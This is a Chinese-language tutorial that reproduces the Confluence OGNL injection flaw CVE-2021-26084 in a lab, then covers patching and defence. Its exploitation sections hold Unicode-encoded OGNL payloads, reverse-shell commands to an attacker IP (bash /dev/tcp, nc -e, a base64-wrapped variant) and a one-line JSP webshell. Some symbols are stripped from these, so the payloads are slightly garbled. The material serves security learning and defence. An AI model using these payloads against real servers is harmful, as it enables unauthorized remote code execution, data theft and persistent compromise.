1. 项目概述一次经典的Web应用安全攻防实战如果你是一名安全研究员、渗透测试工程师或者正在学习Web应用安全那么CVE-2021-26084这个编号你一定不陌生。它不是一个普通的漏洞而是2021年影响范围极广、危害等级极高的一个远程代码执行漏洞攻击者无需任何身份验证就能在目标Confluence服务器上执行任意系统命令。这个漏洞的根源在于Atlassian Confluence Server和Data Center对用户输入的处理不当导致攻击者能够将恶意的OGNL表达式注入到服务器端并成功执行。今天我们就来彻底拆解这个漏洞的来龙去脉从原理分析、环境搭建、漏洞复现到深度利用手把手带你走完一次完整的漏洞研究流程。这不仅是一次复现更是一次对OGNL表达式注入攻击手法的深度剖析理解了它你就能举一反三触类旁通。2. 漏洞原理深度解析OGNL表达式注入的“破窗效应”2.1 OGNL被误解的“表达式语言之王”在深入漏洞之前我们必须先理解OGNL是什么。OGNL全称Object-Graph Navigation Language中文常译为“对象图导航语言”。它最初是作为Struts2框架的一部分而广为人知其核心能力是在运行时动态访问和操作Java对象的属性、调用其方法。你可以把它想象成一个在Java世界里非常强大的“导航器”和“执行器”。举个例子假设有一个Java对象user它有属性name和方法getEmail()。在JSP中你可能需要用% user.getName() %来显示名字。但在OGNL的语境下你可以直接用表达式user.name来获取属性值甚至可以用user.setName(hacker)这样的表达式来修改它。更强大的是OGNL允许执行静态方法调用例如java.lang.RuntimegetRuntime().exec(calc.exe)这正是远程代码执行的“罪恶之源”。在Confluence这样的基于Java的Web应用中OGNL被用于处理模板中的动态内容、表单数据绑定等场景。设计者的初衷是好的——提供灵活的数据处理能力。但问题在于当用户可控的输入未经充分净化就直接被传递给OGNL解析器时攻击者就能注入自己的OGNL表达式从而“导航”到并执行本不该被访问的Java类和方法比如Runtime.exec()这就造成了远程代码执行漏洞。这就像给大楼的智能门禁系统OGNL解析器输入了一段精心构造的指令让它误以为你是管理员从而为你打开了通往服务器核心机房系统命令执行的大门。2.2 CVE-2021-26084漏洞触发点与利用链构造CVE-2021-26084漏洞存在于Confluence Server和Data Center的多个端点其中最容易理解和复现的是与WebWork框架Struts的前身也使用OGNL相关的/pages/doenterpagevariables.action等端点。漏洞的本质是二次编码绕过和OGNL表达式注入。简单来说Confluence在处理某些用户输入参数时会先进行一次URL解码然后尝试将其作为OGNL表达式进行解析。为了防御Confluence设置了一些黑名单来过滤危险的OGNL关键字如#、等。然而攻击者可以通过对payload进行Unicode编码或双重URL编码来绕过这些过滤。例如一个典型的恶意OGNL表达式可能是\u0023{java.lang.RuntimegetRuntime().exec(touch /tmp/pwned)}。这里的\u0023是#的Unicode编码。当Confluence接收到这个参数时首先它可能会进行URL解码将%u0023或类似的编码还原为\u0023。然后在后续的OGNL解析环节\u0023被识别为#字符。在OGNL中#用于访问上下文变量和进行计算。#{}语法可以强制执行花括号内的表达式。最终表达式java.lang.RuntimegetRuntime().exec(touch /tmp/pwned)被执行在服务器上创建了一个文件。漏洞的触发点往往隐藏在那些用于“预览”、“模板变量”或“装饰器”参数的功能里因为这些功能的设计初衷就是允许用户输入一些动态内容并由服务器端OGNL进行渲染。攻击者正是利用了这种“合法功能”的模糊边界注入了非法的指令。注意这里描述的是一种简化的原理模型。实际利用中由于Confluence版本和补丁情况不同可能需要更复杂的编码绕过技巧和利用链构造。例如利用OGNL的_memberAccess字段来绕过Struts的安全管理器Sandbox限制是早期Struts2漏洞的经典手法在某些未完全修复的Confluence版本中可能依然有效。2.3 影响范围与严重性评估CVE-2021-26084的影响范围极其广泛受影响版本Atlassian官方公告指出Confluence Server和Data Center的多个版本受影响具体包括7.4.x, 7.5.x, 7.6.x, 7.7.x, 7.8.x, 7.9.x, 7.10.x, 7.11.x, 7.12.x 等多个主要系列直到修复版本为止。严重等级CVSS v3基础评分高达9.8临界。这意味着漏洞利用复杂度低、无需权限、能直接影响机密性、完整性和可用性。实际危害攻击者成功利用后可以以Confluence服务进程通常是confluence用户的身份在服务器上执行任意命令。这意味着可以窃取数据读取数据库连接配置文件、窃取Confluence中的所有页面和用户数据。植入后门写入Webshell获得持久化控制。横向移动以当前服务器为跳板攻击内网其他系统。加密勒索运行勒索软件加密服务器文件。在漏洞披露后的短时间内互联网上就出现了大量的扫描和攻击尝试许多未及时升级的Confluence实例被攻陷造成了严重的数据泄露和业务中断事件。3. 实验环境搭建与漏洞复现准备3.1 靶机环境搭建有漏洞的Confluence为了安全、合法地研究漏洞我们必须在隔离的环境中搭建靶机。绝对不要在互联网上扫描或攻击任何未经授权的系统。推荐方案使用Docker快速部署这是最干净、最便捷的方式。我们可以从Docker Hub上寻找包含漏洞版本的Confluence镜像。请注意由于版权和安全性Atlassian官方不会提供有漏洞版本的镜像但社区有时会有用于教育目的的存档。一个常见的做法是使用一个指定了旧版本安装包的Dockerfile。这里给出一个概念性的步骤准备Dockerfile你需要一个基础Dockerfile其中指定下载Confluence的特定有漏洞版本安装包如atlassian-confluence-7.12.5-x64.bin或对应的Linux安装包。由于直接提供安装包链接可能涉及版权你需要自行寻找合法的旧版本软件源或使用已构建好的实验镜像可在一些合法的漏洞实验平台找到。构建与运行# 假设你的Dockerfile在当前目录 docker build -t confluence-vulnerable . # 运行容器映射端口和持久化数据卷 docker run -d --name confluence-cve-2021-26084 \ -p 8090:8090 \ -p 8091:8091 \ -v confluence-data:/var/atlassian/application-data/confluence \ confluence-vulnerable访问与初始化浏览器访问http://your-host-ip:8090按照Confluence的安装向导完成初始化设置选择“试用”模式配置数据库等。建议使用内嵌的H2数据库以简化流程。备选方案虚拟机安装如果你有旧版本的Confluence安装包.bin用于Linux.exe用于Windows可以在VMware或VirtualBox创建的虚拟机如Ubuntu 20.04中直接安装。过程与生产环境安装一致但务必确保虚拟机网络为仅主机Host-Only或NAT模式断绝与外网的连接。实操心得在Docker环境中Confluence的启动速度比完整虚拟机快得多且环境可一键销毁重建非常适合反复测试。难点在于寻找合规的旧版本安装包。一些开源漏洞靶场项目如Vulhub、VulnApp有时会集成此类环境是更好的学习起点。3.2 攻击机环境工具与脚本配置攻击机可以是你的物理机也可以是同一个虚拟网络中的另一台虚拟机。需要准备以下工具Burp Suite Professional / Community必备的HTTP代理和攻击工具。我们将用它来拦截、重放和修改HTTP请求。Python 3 及 requests 库用于编写和运行漏洞利用脚本。pip install requestscurl命令行下的HTTP工具用于快速测试。一个简单的HTTP文件服务器可选用于托管要下载到靶机的Payload文件如反弹Shell脚本。python3 -m http.server 8000Netcat (nc)用于接收反弹Shell。环境网络配置关键确保靶机和攻击机在同一网络段内能够互相通信。在Docker场景下如果你的攻击机是宿主机直接访问localhost:8090即可如果攻击机是另一台机器需要确保Docker容器的端口映射到宿主机的正确IP上并且防火墙允许相关端口8090, 8091的访问。3.3 漏洞复现的伦理与法律边界在开始动手之前必须再次强调仅用于授权测试所有复现操作必须在你自己完全掌控的实验室环境中进行。永不针对未授权目标禁止对互联网上的任何Confluence实例进行扫描、探测或攻击。目的纯正学习和研究漏洞原理、提升防御能力是唯一目的。后果自知未经授权的攻击行为是违法的将面临法律制裁。我们的复现将严格控制在本地隔离的Docker容器或虚拟机内。4. 漏洞复现全流程实操拆解4.1 信息收集与漏洞端点探测即使我们知道存在漏洞第一步也应该是信息收集模拟真实渗透测试的过程。确认Confluence版本访问靶机地址http://192.168.1.100:8090假设IP。在登录页面或页脚通常会有版本信息。也可以通过访问/rest/applinks/1.0/manifest等REST端点获取版本信息。用Burp抓包或浏览器直接访问即可。识别已知漏洞端点根据公开的漏洞分析CVE-2021-26084影响多个端点。我们需要尝试访问这些端点观察其响应。将Burp Suite设置为浏览器代理然后浏览Confluence的以下页面或直接发送请求/pages/doenterpagevariables.action/pages/createpage-entervariables.action/admin/xxx.action某些管理功能在Burp的Proxy - HTTP history中筛选这些.action的请求。重点关注POST请求查看其参数。一个常见的特征是参数名可能包含queryString、linkCreation、decorator等。4.2 构造与发送OGNL注入Payload这是最核心的步骤。我们以/pages/doenterpagevariables.action为例。拦截请求在Confluence中尝试创建一个新页面或编辑页面找到与“模板变量”或“插入变量”相关的功能点不同版本UI可能不同。触发一个会向上述端点发送请求的操作并用Burp拦截这个POST请求。分析请求参数查看被拦截的请求体它通常是application/x-www-form-urlencoded格式。寻找可能被OGNL解析的参数。公开的PoC常针对queryString参数。构造恶意Payload我们将尝试执行一个简单的命令例如在Linux靶机上创建文件/tmp/success_cve-2021-26084。原始OGNL表达式#{[java.lang.RuntimegetRuntime().exec(touch /tmp/success_cve-2021-26084)]}为了绕过过滤进行Unicode编码将#、{、}等关键字符编码。例如将#替换为\u0023。最终Payload\u0023{\u0040java.lang.Runtime\u0040getRuntime().exec(touch\u0020/tmp/success_cve-2021-26084)}注意空格也需要编码为\u0020或%20。发送注入请求将Burp拦截的请求中疑似存在漏洞的参数如queryString的值替换为我们构造的Payload。右键请求选择 “Send to Repeater”。在Repeater标签页中修改参数后点击“Send”。一个在Repeater中手动构造的POST请求示例POST /pages/doenterpagevariables.action HTTP/1.1 Host: 192.168.1.100:8090 Content-Type: application/x-www-form-urlencoded ... 其他头部 ... linkCreationtruequeryString\u0023{\u0040java.lang.Runtime\u0040getRuntime().exec(touch\u0020/tmp/success_cve-2021-26084)}观察响应如果漏洞存在且利用成功服务器可能会返回一个错误页面因为OGNL表达式执行后可能没有合法输出给Web响应但HTTP状态码可能是200或500。关键是要去验证命令是否执行。登录到Confluence的Docker容器中检查docker exec -it confluence-cve-2021-26084 /bin/bash ls -la /tmp/success_cve-2021-26084如果文件被成功创建恭喜你远程代码执行成功了4.3 进阶利用获取交互式Shell与权限提升创建文件只是第一步。真正的攻击者目标是获得一个交互式的Shell以便进行更复杂的操作。方法一反向ShellReverse Shell这是最常用的方式。让靶机主动连接攻击机监听的一个端口。在攻击机上监听nc -lvnp 4444构造反向Shell的Payload我们需要一个能在靶机上执行的命令来建立反向连接。Linux下常用bash或nc。使用bashbash -i /dev/tcp/攻击机IP/4444 01使用nc如果靶机安装了netcatnc 攻击机IP 4444 -e /bin/bash由于命令中包含特殊字符、/、空格我们需要对其进行Base64编码或精心编码后嵌入OGNL表达式。Base64编码示例echo bash -i /dev/tcp/192.168.1.50/4444 01 | base64 # 输出YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx然后构造OGNL表达式来解码并执行\u0023{\u0040java.lang.Runtime\u0040getRuntime().exec(new\u0020java.lang.String(\u0040org.apache.commons.codec.binary.Base64\u0040decodeBase64(YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx))) }注意这里引入了org.apache.commons.codec.binary.Base64类需要确保Confluence的classpath中存在这个库通常都有。如果执行失败可能需要尝试其他编码方式或命令。发送Payload将上述更复杂的Payload替换到queryString参数中发送。如果成功你会在攻击机的nc监听窗口看到一个来自靶机的Shell连接。方法二写入Webshell如果反向Shell不成功可以尝试写入一个JSP或Java的Webshell到Confluence的Web目录下。确定Web根路径Confluence的Web应用通常部署在类似/opt/atlassian/confluence/confluence/WEB-INF/../或/var/atlassian/application-data/confluence/的某个子目录下。可以通过执行find / -name \*.jsp\ 2/dev/null | head -5这样的命令来寻找需要先有一个简单的RCE来执行这个find命令。构造写文件命令使用echo命令将Webshell内容写入文件。echo % Runtime.getRuntime().exec(request.getParameter(cmd)); % /path/to/confluence/webroot/cmd.jsp同样需要将整个命令进行编码后嵌入OGNL表达式。权限提升考虑Confluence服务通常以专用用户如confluence运行权限有限。获得Shell后可以尝试查找本地提权漏洞如内核漏洞、SUID文件、错误的sudo配置等但这超出了本漏洞本身的范围属于后续的横向渗透阶段。5. 漏洞修复方案与防御加固建议5.1 官方修复方案升级与补丁Atlassian在漏洞披露后迅速发布了安全公告和修复版本。根本的解决方法是立即升级到不受影响的版本。确定修复版本访问Atlassian官方安全公告查看针对CVE-2021-26084的修复版本号。例如对于Confluence 7.x系列可能需要升级到7.13.x之后的某个特定版本。升级流程完整备份备份Confluence的安装目录、主目录home directory和数据库。停止服务。下载新版安装包。执行升级安装。Atlassian提供了详细的升级指南应严格遵循。启动服务并验证确保所有功能正常并再次确认版本号已更新。对于无法立即升级的情况Atlassian可能提供了临时缓解措施例如修改WebWork配置通过设置struts.ognl.allowStaticMethodAccessfalse等参数来限制OGNL的能力但可能影响部分功能。使用Web应用防火墙部署WAF设置规则拦截包含特定OGNL关键字和编码模式的请求。临时禁用受影响端点如果业务不需要可以在反向代理如Nginx或应用服务器层面屏蔽对/pages/doenterpagevariables.action等路径的访问。重要提醒临时缓解措施不能替代彻底升级应尽快安排升级窗口。5.2 代码层防御输入验证与安全编码对于开发者而言此漏洞是输入验证不足的典型教训。严格的输入白名单验证对于用户输入特别是那些可能用于动态解析的参数应基于“最小权限原则”进行白名单验证。只允许预期的、安全的字符集通过。禁用危险的OGNL特性在框架配置中明确禁止OGNL的静态方法访问、类创建等危险特性。在Struts2中可以通过struts.ognl.allowStaticMethodAccess、struts.ognl.allowClassCreation等参数严格控制。使用安全的表达式语言考虑迁移到更安全、沙箱机制更完善的表达式语言或者对OGNL进行深度定制强化其沙箱。避免用户输入直接参与表达式解析重新评估业务逻辑是否必须将用户输入作为代码/表达式的一部分来解析是否有更安全的替代方案如预定义的模板、枚举值或通过API调用5.3 企业级安全防护体系单点防御是不够的需要构建纵深防御体系资产管理与漏洞扫描建立完善的软件资产清单使用漏洞扫描工具定期扫描内部的Confluence等应用及时发现未修复的漏洞。网络隔离与最小权限将Confluence等关键应用部署在内网严格限制外部访问。遵循网络分段原则数据库与应用服务器分离。入侵检测与监控部署HIDS主机入侵检测系统监控服务器上的异常进程创建、文件修改如Web目录下新增JSP文件。部署NIDS网络入侵检测系统或WAF监控异常的HTTP请求模式。定期安全更新流程建立严格的安全补丁管理流程对Atlassian等厂商的安全公告保持高度关注设定明确的漏洞响应和修复时间表。6. 深度思考从CVE-2021-26084看表达式注入漏洞的演变CVE-2021-26084并非孤例它是表达式注入漏洞家族中的一个典型代表。回顾历史从Struts2系列漏洞S2-045, S2-046, S2-048等到Spring框架的SpEL表达式注入再到各种模板引擎如Freemarker, Velocity的注入问题其核心模式一脉相承用户可控数据流入代码解析引擎。这个漏洞的复现过程给我们几点深刻启示“功能”与“漏洞”的模糊边界很多漏洞都源于原本合法的强大功能如OGNL的动态执行能力。安全设计需要在这些功能开启时默认施加最严格的沙箱和过滤。编码绕过的持久战黑名单过滤在编码面前往往脆弱。安全开发需要采用正向安全模型白名单并确保在最终执行解析之前完成所有必要的解码和规范化操作再进行验证。漏洞研究的价值通过亲手复现我们不仅理解了漏洞原理更直观感受到了攻击链的构造过程。这对编写更有效的检测规则如YARA, Sigma、设计更鲁棒的防御方案至关重要。例如你可以基于这个漏洞的Payload特征为公司的WAF编写一条检测规则拦截包含\u0023{java.lang.Runtime等模式的请求。最后一点个人体会在复现这类RCE漏洞时我习惯在Payload中优先使用无害的命令如touch、whoami、echo进行验证避免对实验环境造成意外破坏。在编写自动化利用工具时也要格外小心避免循环或递归执行命令导致服务器负载过高。漏洞研究的世界里谨慎和可控是首要美德。每一次成功的复现都应该是迈向更好防御的坚实一步而不是破坏的开始。理解攻击是为了铸就更坚固的盾牌。